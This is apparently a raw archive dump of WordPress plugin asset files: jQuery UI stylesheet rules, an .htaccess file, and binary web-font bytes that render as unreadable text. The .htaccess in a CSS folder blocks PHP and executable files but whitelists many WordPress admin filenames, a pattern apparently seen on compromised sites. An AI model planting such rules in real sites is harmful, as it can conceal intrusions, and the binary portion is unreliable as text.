.ui-icon-arrowthickstop-1-s { background-position: -224px -48px; } .ui-icon-arrowthickstop-1-w { background-position: -240px -48px; } .ui-icon-arrowreturnthick-1-w { background-position: 0 -64px; } .ui-icon-arrowreturnthick-1-n { background-position: -16px -64px; } .ui-icon-arrowreturnthick-1-e { background-position: -32px -64px; } .ui-icon-arrowreturnthick-1-s { background-position: -48px -64px; } .ui-icon-arrowreturn-1-w { background-position: -64px -64px; } .ui-icon-arrowreturn-1-n { background-position: -80px -64px; } .ui-icon-arrowreturn-1-e { background-position: -96px -64px; } .ui-icon-arrowreturn-1-s { background-position: -112px -64px; } .ui-icon-arrowrefresh-1-w { background-position: -128px -64px; } .ui-icon-arrowrefresh-1-n { background-position: -144px -64px; } .ui-icon-arrowrefresh-1-e { background-position: -160px -64px; } .ui-icon-arrowrefresh-1-s { background-position: -176px -64px; } .ui-icon-arrow-4 { background-position: 0 -80px; } .ui-icon-arrow-4-diag { background-position: -16px -80px; } .ui-icon-extlink { background-position: -32px -80px; } .ui-icon-newwin { background-position: -48px -80px; } .ui-icon-refresh { background-position: -64px -80px; } .ui-icon-shuffle { background-position: -80px -80px; } .ui-icon-transfer-e-w { background-position: -96px -80px; } .ui-icon-transferthick-e-w { background-position: -112px -80px; } .ui-icon-folder-collapsed { background-position: 0 -96px; } .ui-icon-folder-open { background-position: -16px -96px; } .ui-icon-document { background-position: -32px -96px; } .ui-icon-document-b { background-position: -48px -96px; } .ui-icon-note { background-position: -64px -96px; } .ui-icon-mail-closed { background-position: -80px -96px; } .ui-icon-mail-open { background-position: -96px -96px; } .ui-icon-suitcase { background-position: -112px -96px; } .ui-icon-comment { background-position: -128px -96px; } .ui-icon-person { background-position: -144px -96px; } .ui-icon-print { background-position: -160px -96px; } .ui-icon-trash { background-position: -176px -96px; } .ui-icon-locked { background-position: -192px -96px; } .ui-icon-unlocked { background-position: -208px -96px; } .ui-icon-bookmark { background-position: -224px -96px; } .ui-icon-tag { background-position: -240px -96px; } .ui-icon-home { background-position: 0 -112px; } .ui-icon-flag { background-position: -16px -112px; } .ui-icon-calendar { background-position: -32px -112px; } .ui-icon-cart { background-position: -48px -112px; } .ui-icon-pencil { background-position: -64px -112px; } .ui-icon-clock { background-position: -80px -112px; } .ui-icon-disk { background-position: -96px -112px; } .ui-icon-calculator { background-position: -112px -112px; } .ui-icon-zoomin { background-position: -128px -112px; } .ui-icon-zoomout { background-position: -144px -112px; } .ui-icon-search { background-position: -160px -112px; } .ui-icon-wrench { background-position: -176px -112px; } .ui-icon-gear { background-position: -192px -112px; } .ui-icon-heart { background-position: -208px -112px; } .ui-icon-star { background-position: -224px -112px; } .ui-icon-link { background-position: -240px -112px; } .ui-icon-cancel { background-position: 0 -128px; } .ui-icon-plus { background-position: -16px -128px; } .ui-icon-plusthick { background-position: -32px -128px; } .ui-icon-minus { background-position: -48px -128px; } .ui-icon-minusthick { background-position: -64px -128px; } .ui-icon-close { background-position: -80px -128px; } .ui-icon-closethick { background-position: -96px -128px; } .ui-icon-key { background-position: -112px -128px; } .ui-icon-lightbulb { background-position: -128px -128px; } .ui-icon-scissors { background-position: -144px -128px; } .ui-icon-clipboard { background-position: -160px -128px; } .ui-icon-copy { background-position: -176px -128px; } .ui-icon-contact { background-position: -192px -128px; } .ui-icon-image { background-position: -208px -128px; } .ui-icon-video { background-position: -224px -128px; } .ui-icon-script { background-position: -240px -128px; } .ui-icon-alert { background-position: 0 -144px; } .ui-icon-info { background-position: -16px -144px; } .ui-icon-notice { background-position: -32px -144px; } .ui-icon-help { background-position: -48px -144px; } .ui-icon-check { background-position: -64px -144px; } .ui-icon-bullet { background-position: -80px -144px; } .ui-icon-radio-off { background-position: -96px -144px; } .ui-icon-radio-on { background-position: -112px -144px; } .ui-icon-pin-w { background-position: -128px -144px; } .ui-icon-pin-s { background-position: -144px -144px; } .ui-icon-play { background-position: 0 -160px; } .ui-icon-pause { background-position: -16px -160px; } .ui-icon-seek-next { background-position: -32px -160px; } .ui-icon-seek-prev { background-position: -48px -160px; } .ui-icon-seek-end { background-position: -64px -160px; } .ui-icon-seek-start { background-position: -80px -160px; } /* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ .ui-icon-seek-first { background-position: -80px -160px; } .ui-icon-stop { background-position: -96px -160px; } .ui-icon-eject { background-position: -112px -160px; } .ui-icon-volume-off { background-position: -128px -160px; } .ui-icon-volume-on { background-position: -144px -160px; } .ui-icon-power { background-position: 0 -176px; } .ui-icon-signal-diag { background-position: -16px -176px; } .ui-icon-signal { background-position: -32px -176px; } .ui-icon-battery-0 { background-position: -48px -176px; } .ui-icon-battery-1 { background-position: -64px -176px; } .ui-icon-battery-2 { background-position: -80px -176px; } .ui-icon-battery-3 { background-position: -96px -176px; } .ui-icon-circle-plus { background-position: 0 -192px; } .ui-icon-circle-minus { background-position: -16px -192px; } .ui-icon-circle-close { background-position: -32px -192px; } .ui-icon-circle-triangle-e { background-position: -48px -192px; } .ui-icon-circle-triangle-s { background-position: -64px -192px; } .ui-icon-circle-triangle-w { background-position: -80px -192px; } .ui-icon-circle-triangle-n { background-position: -96px -192px; } .ui-icon-circle-arrow-e { background-position: -112px -192px; } .ui-icon-circle-arrow-s { background-position: -128px -192px; } .ui-icon-circle-arrow-w { background-position: -144px -192px; } .ui-icon-circle-arrow-n { background-position: -160px -192px; } .ui-icon-circle-zoomin { background-position: -176px -192px; } .ui-icon-circle-zoomout { background-position: -192px -192px; } .ui-icon-circle-check { background-position: -208px -192px; } .ui-icon-circlesmall-plus { background-position: 0 -208px; } .ui-icon-circlesmall-minus { background-position: -16px -208px; } .ui-icon-circlesmall-close { background-position: -32px -208px; } .ui-icon-squaresmall-plus { background-position: -48px -208px; } .ui-icon-squaresmall-minus { background-position: -64px -208px; } .ui-icon-squaresmall-close { background-position: -80px -208px; } .ui-icon-grip-dotted-vertical { background-position: 0 -224px; } .ui-icon-grip-dotted-horizontal { background-position: -16px -224px; } .ui-icon-grip-solid-vertical { background-position: -32px -224px; } .ui-icon-grip-solid-horizontal { background-position: -48px -224px; } .ui-icon-gripsmall-diagonal-se { background-position: -64px -224px; } .ui-icon-grip-diagonal-se { background-position: -80px -224px; } /* Misc visuals ----------------------------------*/ /* Corner radius */ .ui-corner-all, .ui-corner-top, .ui-corner-left, .ui-corner-tl { -moz-border-radius-topleft: 4px; -webkit-border-top-left-radius: 4px; -khtml-border-top-left-radius: 4px; border-top-left-radius: 4px; } .ui-corner-all, .ui-corner-top, .ui-corner-right, .ui-corner-tr { -moz-border-radius-topright: 4px; -webkit-border-top-right-radius: 4px; -khtml-border-top-right-radius: 4px; border-top-right-radius: 4px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-left, .ui-corner-bl { -moz-border-radius-bottomleft: 4px; -webkit-border-bottom-left-radius: 4px; -khtml-border-bottom-left-radius: 4px; border-bottom-left-radius: 4px; } .ui-corner-all, .ui-corner-bottom, .ui-corner-right, .ui-corner-br { -moz-border-radius-bottomright: 4px; -webkit-border-bottom-right-radius: 4px; -khtml-border-bottom-right-radius: 4px; border-bottom-right-radius: 4px; } /* Overlays */ .ui-widget-overlay { background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30; filter:Alpha(Opacity=30); } .ui-widget-shadow { margin: -8px 0 0 -8px; padding: 8px; background: #aaaaaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x; opacity: .30;filter:Alpha(Opacity=30); -moz-border-radius: 8px; -khtml-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; } /* * jQuery UI Accordion 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://jqueryui.com/accordion/ */ /* IE/Win - Fix animation bug - #4615 */ .ui-accordion { width: 100%; } .ui-accordion .ui-accordion-header { cursor: pointer; position: relative; margin-top: 1px; zoom: 1; font-weight:bold; } .ui-accordion .ui-accordion-li-fix { display: inline; } .ui-accordion .ui-accordion-header-active { border-bottom: 0 !important; } .ui-accordion .ui-accordion-header a { display: block; font-size: 1em; padding: .5em .5em .5em 1.7em; } .ui-accordion-icons .ui-accordion-header a { padding-left: 2.2em; } .ui-accordion .ui-accordion-header .ui-icon { position: absolute; left: .5em; top: 50%; margin-top: -8px; } .ui-accordion .ui-accordion-content { padding: 1em 2.2em; border-top: 0; margin-top: -2px; position: relative; top: 1px; margin-bottom: 2px; overflow: auto; display: none; zoom: 1; } .ui-accordion .ui-accordion-content-active { display: block; } /* * jQuery UI Button 1.10.0 * * Copyright 2013, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Button#theming */ .ui-button { cursor: pointer; display: inline-block; background-color: #e6e6e6; background-repeat: no-repeat; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), color-stop(25%, #ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -moz-linear-gradient(top, #ffffff, #ffffff 25%, #e6e6e6); background-image: -ms-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: -o-linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); background-image: linear-gradient(#ffffff, #ffffff 25%, #e6e6e6); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0); padding: 5px 14px 6px; margin: 0; text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); color: #333; font-size: 13px; line-height: normal; border: 1px solid #ccc; border-bottom-color: #bbb; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -webkit-transition: 0.1s linear background-image; -moz-transition: 0.1s linear background-image; -ms-transition: 0.1s linear background-image; -o-transition: 0.1s linear background-image; transition: 0.1s linear background-image; overflow: visible; } /* the overflow property removes extra width in IE */ .ui-button-primary { color: #ffffff; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-success{ color:#ffffff; background-color: #57a957; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957)); background-image: -moz-linear-gradient(top, #62c462, #57a957); background-image: -ms-linear-gradient(top, #62c462, #57a957); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957)); background-image: -webkit-linear-gradient(top, #62c462, #57a957); background-image: -o-linear-gradient(top, #62c462, #57a957); background-image: linear-gradient(top, #62c462, #57a957); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #57a957 #57a957 #3d773d; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-error{ color:#ffffff; background-color: #c43c35; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35)); background-image: -moz-linear-gradient(top, #ee5f5b, #c43c35); background-image: -ms-linear-gradient(top, #ee5f5b, #c43c35); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35)); background-image: -webkit-linear-gradient(top, #ee5f5b, #c43c35); background-image: -o-linear-gradient(top, #ee5f5b, #c43c35); background-image: linear-gradient(top, #ee5f5b, #c43c35); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #c43c35 #c43c35 #882a25; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-button-icon-only { width: 2.2em; } /* to make room for the icon, a width needs to be set here */ button.ui-button-icon-only { } /* button elements seem to need a little more width */ .ui-button-icons-only { width: 3.4em; } button.ui-button-icons-only { width: 3.7em; } /*button text element */ .ui-button .ui-button-text { display: block; } .ui-button-text-only .ui-button-text { } .ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: .4em; text-indent: -9999999px; /*tempfix*/ display:none;} .ui-button-text-icon-primary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 1em .4em 2.1em; } .ui-button-text-icon-secondary .ui-button-text, .ui-button-text-icons .ui-button-text { padding: .4em 2.1em .4em 1em; } .ui-button-text-icons .ui-button-text { padding-left: 2.1em; padding-right: 2.1em; } /* no icon support for input elements, provide padding by default */ /* input.ui-button { padding: .4em 1em; } */ /*button icon element(s) */ .ui-button-icon-only .ui-icon, .ui-button-text-icon-primary .ui-icon, .ui-button-text-icon-secondary .ui-icon, .ui-button-text-icons .ui-icon, .ui-button-icons-only .ui-icon { top: 50%; margin-top:-3px; margin-bottom:3px; } .ui-button-icon-only .ui-icon { left: 50%; margin-left: -8px; } .ui-button-text-icon-primary .ui-button-icon-primary, .ui-button-text-icons .ui-button-icon-primary, .ui-button-icons-only .ui-button-icon-primary { left: .5em; } .ui-button-text-icon-secondary .ui-button-icon-secondary, .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } .ui-button-text-icons .ui-button-icon-secondary, .ui-button-icons-only .ui-button-icon-secondary { right: .5em; } /*button sets*/ .ui-buttonset { margin-right: 7px; } .ui-buttonset .ui-state-active { color: #ffffff; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); } .ui-buttonset .ui-button { margin-left: 0; margin-right: 0; } /* workarounds */ button.ui-button::-moz-focus-inner { border: 0; padding: 0; } /* reset extra padding in Firefox */ /* * jQuery UI Datepicker 1.9.0 * * Copyright 2012-10-11, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://jqueryui.com/datepicker/ */ .ui-datepicker { width: 17em; padding: .2em .2em 0; display: none; } .ui-datepicker .ui-datepicker-header { position:relative; padding:.2em 0; border:0px; font-weight: bold; width: 100%; padding: 4px 0; background-color: #f5f5f5; color: #808080; } .ui-datepicker .ui-datepicker-prev, .ui-datepicker .ui-datepicker-next { position:absolute; top: 2px; width: 1.8em; height: 1.8em; } .ui-datepicker .ui-datepicker-prev-hover, .ui-datepicker .ui-datepicker-next-hover { /*top: 1px;*/ } .ui-datepicker .ui-datepicker-prev { left:2px; } .ui-datepicker .ui-datepicker-next { right:2px; } .ui-datepicker .ui-datepicker-prev-hover { /*left:1px;*/ } .ui-datepicker .ui-datepicker-next-hover { /*right:1px;*/ } .ui-datepicker .ui-datepicker-prev span, .ui-datepicker .ui-datepicker-next span { display: block; position: absolute; left: 50%; margin-left: -8px; top: 50%; margin-top: -8px; } .ui-datepicker .ui-datepicker-title { margin: 0 2.3em; line-height: 1.8em; text-align: center; } .ui-datepicker .ui-datepicker-title select { font-size:1em; margin:1px 0; } .ui-datepicker select.ui-datepicker-month-year {width: 100%;} .ui-datepicker select.ui-datepicker-month, .ui-datepicker select.ui-datepicker-year { width: 49%;} .ui-datepicker table {width: 100%; font-size: .9em; border-collapse: collapse; margin:0 0 .4em; } .ui-datepicker th { padding: .7em .3em; text-align: center; font-weight: bold; border: 0; } .ui-datepicker td { border: 0; padding: 1px; } .ui-datepicker td span, .ui-datepicker td a { display: block; padding: .2em; text-align: right; text-decoration: none; } .ui-datepicker .ui-datepicker-buttonpane { background-image: none; margin: .7em 0 0 0; padding:0 .2em; border-left: 0; border-right: 0; border-bottom: 0; } .ui-datepicker .ui-datepicker-buttonpane button { float: right; margin: .5em .2em .4em; cursor: pointer; padding: .2em .6em .3em .6em; width:auto; overflow:visible; } .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current { float:left; } /* with multiple calendars */ .ui-datepicker.ui-datepicker-multi { width:auto; } .ui-datepicker-multi .ui-datepicker-group { float:left; } .ui-datepicker-multi .ui-datepicker-group table { width:95%; margin:0 auto .4em; } .ui-datepicker-multi-2 .ui-datepicker-group { width:50%; } .ui-datepicker-multi-3 .ui-datepicker-group { width:33.3%; } .ui-datepicker-multi-4 .ui-datepicker-group { width:25%; } .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header { border-left-width:0; } .ui-datepicker-multi .ui-datepicker-buttonpane { clear:left; } .ui-datepicker-row-break { clear:both; width:100%; font-size:0em; } /* RTL support */ .ui-datepicker-rtl { direction: rtl; } .ui-datepicker-rtl .ui-datepicker-prev { right: 2px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next { left: 2px; right: auto; } .ui-datepicker-rtl .ui-datepicker-prev:hover { right: 1px; left: auto; } .ui-datepicker-rtl .ui-datepicker-next:hover { left: 1px; right: auto; } .ui-datepicker-rtl .ui-datepicker-buttonpane { clear:right; } .ui-datepicker-rtl .ui-datepicker-buttonpane button { float: left; } .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current { float:right; } .ui-datepicker-rtl .ui-datepicker-group { float:right; } .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header { border-right-width:0; border-left-width:1px; } .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header { border-right-width:0; border-left-width:1px; } /* IE6 IFRAME FIX (taken from datepicker 1.5.3 */ .ui-datepicker-cover { display: none; /*sorry for IE5*/ display: block; /*sorry for IE5*/ position: absolute; /*must have*/ z-index: -1; /*must have*/ filter: mask(); /*must have*/ top: -4px; /*must have*/ left: -4px; /*must have*/ width: 200px; /*must have*/ height: 200px; /*must have*/ } .ui-datepicker th{ font-weight: bold; color: gray; } .ui-datepicker-today a:hover{ background-color: #808080; color: #ffffff; } .ui-datepicker-today a{ background-color: #BFBFBF; cursor: pointer; padding: 0 4px; margin-bottom:0px; } .ui-datepicker td a{ margin-bottom:0px; border:0px; } .ui-datepicker td:hover{ color: #ffffff; } .ui-datepicker td .ui-state-default { border:0px; background:none; margin-bottom:0px; padding:5px; color:gray; text-align: center; filter:none; } .ui-datepicker td .ui-state-active{ background:#BFBFBF; margin-bottom:0px; font-size:normal; text-shadow: 0px; color: #ffffff; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } .ui-datepicker td .ui-state-hover { color: #ffffff; background: #0064cd; background-color: #0064cd; background-repeat: repeat-x; background-image: -khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd)); background-image: -moz-linear-gradient(top, #049cdb, #0064cd); background-image: -ms-linear-gradient(top, #049cdb, #0064cd); background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd)); background-image: -webkit-linear-gradient(top, #049cdb, #0064cd); background-image: -o-linear-gradient(top, #049cdb, #0064cd); background-image: linear-gradient(top, #049cdb, #0064cd); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0); text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); border-color: #0064cd #0064cd #003f81; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); -webkit-border-radius: 4px; -moz-border-radius: 4px; -khtml-border-radius: 4px; border-radius: 4px; } .ui-widget-content { border: 1px solid #dfdfdf; } .ui-datepicker table { background: #fff; } .placeholder { background:#f9f9f9 !important; border: 1px dashed #bbb !important; } } .wp-customizer { #ui-datepicker-div { z-index: 999999 !important; } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/jquery-ui-bootstrap/.htaccess�������������������������������������0000644�����������������00000001626�14720701300�0021017 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/fonts/elusiveicons-webfont.eot����������������������0000644�����������������00000235070�14720701300�0024057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������8:�x9�������� �����������LP����������������������C�������������������e�l�u�s�i�v�e�i�c�o�n�s��� �M�e�d�i�u�m��� �V�e�r�s�i�o�n� �0�0�1�.�0�0�0� ����e�l�u�s�i�v�e�i�c�o�n�s������������pFFTMnbd������OS/2JKh �����`cmap���x��Bcvt �����-��� fpgmo9�-�� lgasp����-|���glyf���\head1����6hhea R5�P���$hmtx!Q �t��rlocaں���lmaxp �T��� name=s�t��post�!`�� prepk�8���{�������=����vJ����vJ���� H��� H��@�;6��� ���������������������PfEd�23�l3�~�������������� ����������������<������� �������2��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(��h ���*@'����^�R�VJ����+3!%3#(@ (���3� ��6�j@g1'G    m�� � ^�R�� ^ �  ^��^�R�X�L! 0/-+)( 6!6  6+�  $!;5#535#535#535+23+=37.546F졡g KIIIIIIIIK-|}93졡Fg`wAwBwAwu-. KhhK .(9���3��)�$GK PX@9    m�  c�� �`��^��^�R�W�K@:    m�  k�� �`��^��^�R�W�KY@#" ))10 +!;#3#3#3+!"#!=#'>54&Y/P/5+],4e3utu.P/2SS2He� ��3������#�'�+�/�@� �o   _� �  ^�R_��^�R_��^�R�VJ(( /.-,(+(+*)'&%$ # #"!+33!5333!5333!53!53#!53#!53#hhhiihh3ҟ-ў,ҟ3D<222B33:33�����3� ��"@����`�T�X�L+�  $"3F졡srrs3졡Frr�����"3��-�>@;!G���`TVJ�(' -,�+.'>7#.!&#&>3]ea2Y@%Bn>d>"  / ?xMSbd'@W0Bn@23Vj9D D qPU��������� ��6@3����^��^��^�R�V�J+!!!!!!!!#jNk$Pвa`a������ ��6@3����^��^��^�R�V�J+!!!!!!!!PPPPвa`a������� ��R@O���^ �^ �^ R V�J ��     �� +!5!5!5!5kM%Pв�������� ��6@3����^��^��^�R�V�J+!!!!!!!!EkM%+Pвa`a����-3��@��D��o��f+3!3X+}�������&@#��G�ED���R���V��J+!!P���������&@#��GE�D���R��V���J+ 5!!5A+���-3��@��E��o�f+ #!#XP3A���3�:�K�^�X@U5�GF>%.G��o�o T�` Y�MML<;��L^M^DB;K<K�:�8"!! +032>#!.'&>67>7>722#&'46766.'&676(# 1?LHB"4O.-#;&6N7@ ** A#/?I56/  3 1%+ , 32,r#G:-EAJQ_TTS:"(%+'(D # 9$*|&!#/4&6"'E#*  (1�����@  �D���f+3% '%7DZZDDщggщ���3���-+s"3!P!X����� � ���  -+�$&6$1. >&QQQQ5W͛A >W͛A QQ55Q> AW > A���� ����� ������#�'�+�W@T  ��R  ��V  �J+*)('&%$#"! +3#3#3#3#3#3#3#3#3#3#3#dd:LL v#cc22 X!!w"dd������3����?�K�T�`� GKPX@S�  e�e���`� `� � ` � ^� � ^�� `�T�V�J@T�  m�e���`� `� � ` � ^� � ^�� `�T�V�JY@2ML`^WUQPLTMTKIB@8742/.+)??"+!!!6767&'&'56765&'&#35"36767##"'&5!4'&'&'&32+2#6763+P69%&&#$&3v-%$5&'/_0/ 2% %$e e,p  p3P$(;:!   37$#TTm N35''3 '*F ")L*'   e  ����3���-@* �G����^�T�X�L7+3#!#57>72"&4 {${+H44H43Jǂ77?I3I33I��'3� �A�2@/?87+G�p��T��X��L�'&�  +2"&46>''&/"&''.?'&?47!7EcFF2\"*~ 6B!%=q2'! ?! 0*3 7 2EEcF% !& k C9" &-  ������3���*�8�I@F G�m����^��^��^�T�V�J' +!!7%>75.'6'.3#.>%.46P2P51I, ,/ d$((#%((V$#&*(3P+L1vs#+<3i%8*EIa)/*)/* $ -5.����3���(�D@AG���`� `TX�L  ( '#!", +!2)53#!327654'&#32654&#KJrgBA@?gq3j??UTal23gi/0 z�� .�� -+ &47>Bk$ZCjej(,: /"v:^%#@�����3�� �'@$ D���R���V�J  +! 5 K##3qnqV#���3��@�D���f+! 53qnq���2~��� ����KPX@A�� e�  m����^  � _� ^� R�� ^� V�  J@B���m�  m����^  � _� ^� R�� ^� V�  JY@   +!!!!53!!!!#2@@[@@@[[|[[|[|[{�����3� �� �(�0�;�<@9  ` `��T�X��L97430/#%% +$"&54>32#"&4632"&462�"&462"&462"&4632W|W(E(>W(7>WW>)D(W|WW|5W|WW|WW|WW|WW|WW>(E(V|WW>(E(.8'W|W(E|WW|W#|WW|Wl|WW|W.>WW|W(E���� ���KPX@2  e�� �^�R^� R� W� K@3   m�� �^�R^� R� W� KY@    +!!!5#!!7!5!35!!>4>v>WvPddQQQjaa���3�4� �-+'&'&67&'>&&'>7'&'>76&7>Fjf !-1+Pj4? !)6I+A   #$8) Tp:oJc'b]!43jf4!eZkW*=l&M4C (% (7!U0(3;I*0-! �����3���"@ �G��o�f��+'>&'>*.kRppY۠̃+9GXpA0??3@J;})A;%/37740�8x�����O@L GF���`��^��^�R�V�J   +�2#4%"34.1!!!!8`9tt9`����~YYO&77Y5:(EV*V������-�3�:@7.�10 3GD���T��`���X��L,)$"+1.'&'.67#.'5>3!6$." $<'Ka) 2#^b +9<'FAv!-%//) *9DjG Wb`$ 6IaZ*='+; '6����3� ����#�F�O_@NKM+GK PX@h�e�m�e�� �^ ^�  ^�`��`��^�� a�  R� X� LK PX@b�e�m�e�� �^ ^�  ^�`��`� a�  R� X� LKPX@h�e�m�e�� �^ ^�  ^�`��`��^�� a�  R� X� LKPX@b�e�m�e�� �^ ^�  ^�`��`� a�  R� X� LKPX@h�e�m�e�� �^ ^�  ^�`��`��^�� a�  R� X� LK%PX@i��m�m�e�� �^ ^�  ^�`��`��^�� a�  R� X� L@j��m�m�m�� �^ ^�  ^�`��`��^�� a�  R� X� LYYYYYY@D%$  JIHGDCB@>=<;754320$F%F # #"!  +�  $35!35!5##5##5!#"533674'5&##>3#556F졡?(?SЗSf, $:"^7!)$?%6615$*3졡F=vvvv9jjjjq" 4&U*++%(#'( 0�����@p3�����=�F@C@ A 7GK PX@\�e  e�e��^�  _�   `��`� � ^��`� T� W�  K@]��m  e�e��^�  _�   `��`� � ^��`� T� W�  KY@.>>>F>FED1/.-+)%$#" ==+3#%3#%335!353!!!3467'2"&'#32767.'676'.673 cc9ccJ0=VV2c:AW7-.1,9E,D:0S3bEV@=?;D ,E%%%<)6 &"5$'+L)�����������I@F�  m����` ^��  `�T�W�K +!!!! "2>4&7352"&4%QPaVZZ[[hŋŌZ[[ccŋ�����������!�[@X Gp��  � ^ R   ^�  R� V� J!! !!+!;##5!##5;!5%7!5Lv00vt=,=CGp\``N\��X[G\FF\G[[���������@ �D���f+!J��cM3���-+ L}XX����dL3���-+ d3�������@�E��f����+ XX�������4�]@Z��ED  ��op T ^ X L10/-*('&$"44 +%"3267##"&46323.!"3267##"&46323.XX~aaEqr(9:RR:9(rq@k??k@Eqr(9:RR:9(r?Suuu‰I<'RtR'<I?kk?I<'RtR''<"������.��!@ �E� �D���f+- %7'7%uP )"� lZ 